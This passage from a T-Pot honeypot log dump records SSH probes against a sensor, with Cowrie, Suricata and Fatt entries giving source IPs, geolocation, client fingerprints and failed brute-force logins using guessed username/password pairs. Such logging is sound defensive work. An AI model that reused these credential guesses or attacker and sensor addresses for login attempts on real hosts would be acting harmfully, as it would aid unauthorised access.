"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34110	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:58:42.970566+03	2021-09-20 15:00:06.709722+03	{"_id": "mQYSA3wBvYTbRNuEmlOP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1b910082d714", "@version": "1", "timestamp": "2021-09-20T11:58:42.970566Z", "@timestamp": "2021-09-20T11:58:42.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34111	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:58:42.970065+03	2021-09-20 15:00:06.710756+03	{"_id": "mgYSA3wBvYTbRNuEm1O3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 1472396249951827, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59134, "dest_port": 22, "timestamp": "2021-09-20T11:58:42.970065Z", "@timestamp": "2021-09-20T11:58:42.970Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34112	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:58:42.970125+03	2021-09-20 15:00:06.711753+03	{"_id": "nQYSA3wBvYTbRNuEnFPA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59134, "dest_port": 22, "timestamp": "2021-09-20T11:58:42.970125", "@timestamp": "2021-09-20T11:58:42.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34113	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:58:43.664438+03	2021-09-20 15:00:06.712753+03	{"_id": "pQYSA3wBvYTbRNuEnlN3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:38650 (192.168.176.2:22) [session: 586505e52208]", "session": "586505e52208", "@version": "1", "protocol": "ssh", "src_port": 38650, "dest_port": 22, "timestamp": "2021-09-20T11:58:43.664438Z", "@timestamp": "2021-09-20T11:58:43.664Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
34114	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:58:43.667412+03	2021-09-20 15:00:06.714754+03	{"_id": "pgYSA3wBvYTbRNuEnlN3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "586505e52208", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:58:43.667412Z", "@timestamp": "2021-09-20T11:58:43.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
34115	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:58:43.936549+03	2021-09-20 15:00:06.715753+03	{"_id": "qAYSA3wBvYTbRNuEnlN3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "586505e52208", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:58:43.936549Z", "@timestamp": "2021-09-20T11:58:43.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
34116	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:58:43.726701+03	2021-09-20 15:00:06.716752+03	{"_id": "qQYSA3wBvYTbRNuEn1Of", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 443654945847409, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38650, "dest_port": 22, "timestamp": "2021-09-20T11:58:43.726701Z", "@timestamp": "2021-09-20T11:58:43.726Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
34117	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:58:43.726917+03	2021-09-20 15:00:06.717755+03	{"_id": "qwYSA3wBvYTbRNuEoFOp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 38650, "dest_port": 22, "timestamp": "2021-09-20T11:58:43.726917", "@timestamp": "2021-09-20T11:58:43.726Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34118	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:58:45.002097+03	2021-09-20 15:00:06.719722+03	{"_id": "rQYSA3wBvYTbRNuEolNg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "586505e52208", "@version": "1", "duration": 1.3350398540496826, "timestamp": "2021-09-20T11:58:45.002097Z", "@timestamp": "2021-09-20T11:58:45.002Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
34119	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:58:53.10572+03	2021-09-20 15:00:06.720723+03	{"_id": "tgYSA3wBvYTbRNuEwVOk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.116.239.130:38396 (192.168.176.2:22) [session: b8ebe4a0508f]", "session": "b8ebe4a0508f", "@version": "1", "protocol": "ssh", "src_port": 38396, "dest_port": 22, "timestamp": "2021-09-20T11:58:53.105720Z", "@timestamp": "2021-09-20T11:58:53.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34120	1.116.239.130	109.199.241.180	Fatt	2021-09-20 14:58:53.383932+03	2021-09-20 15:00:06.721723+03	{"_id": "uwYSA3wBvYTbRNuEw1PW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38396, "dest_port": 22, "timestamp": "2021-09-20T11:58:53.383932", "@timestamp": "2021-09-20T11:58:53.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34121	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:58:53.384345+03	2021-09-20 15:00:06.722723+03	{"_id": "vAYSA3wBvYTbRNuExVON", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b8ebe4a0508f", "@version": "1", "timestamp": "2021-09-20T11:58:53.384345Z", "@timestamp": "2021-09-20T11:58:53.384Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34122	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:58:54.508621+03	2021-09-20 15:00:06.724855+03	{"_id": "vQYSA3wBvYTbRNuEyVN1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.login.failed", "message": "login attempt [rakesh/rakesh] failed", "session": "b8ebe4a0508f", "@version": "1", "password": "rakesh", "username": "rakesh", "timestamp": "2021-09-20T11:58:54.508621Z", "@timestamp": "2021-09-20T11:58:54.508Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34123	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:58:55.789117+03	2021-09-20 15:00:06.725726+03	{"_id": "vgYSA3wBvYTbRNuEzVNe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b8ebe4a0508f", "@version": "1", "duration": 2.6807427406311035, "timestamp": "2021-09-20T11:58:55.789117Z", "@timestamp": "2021-09-20T11:58:55.789Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34124	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:42.928144+03	2021-09-20 15:00:06.726724+03	{"_id": "ngYSA3wBvYTbRNuEnFPA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59134, "timestamp": "2021-09-20T11:58:42.928144", "@timestamp": "2021-09-20T11:58:42.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34125	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:58:43.258534+03	2021-09-20 15:00:06.72873+03	{"_id": "pwYSA3wBvYTbRNuEnlN3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [Guest/Guest] failed", "session": "1b910082d714", "@version": "1", "password": "Guest", "username": "Guest", "timestamp": 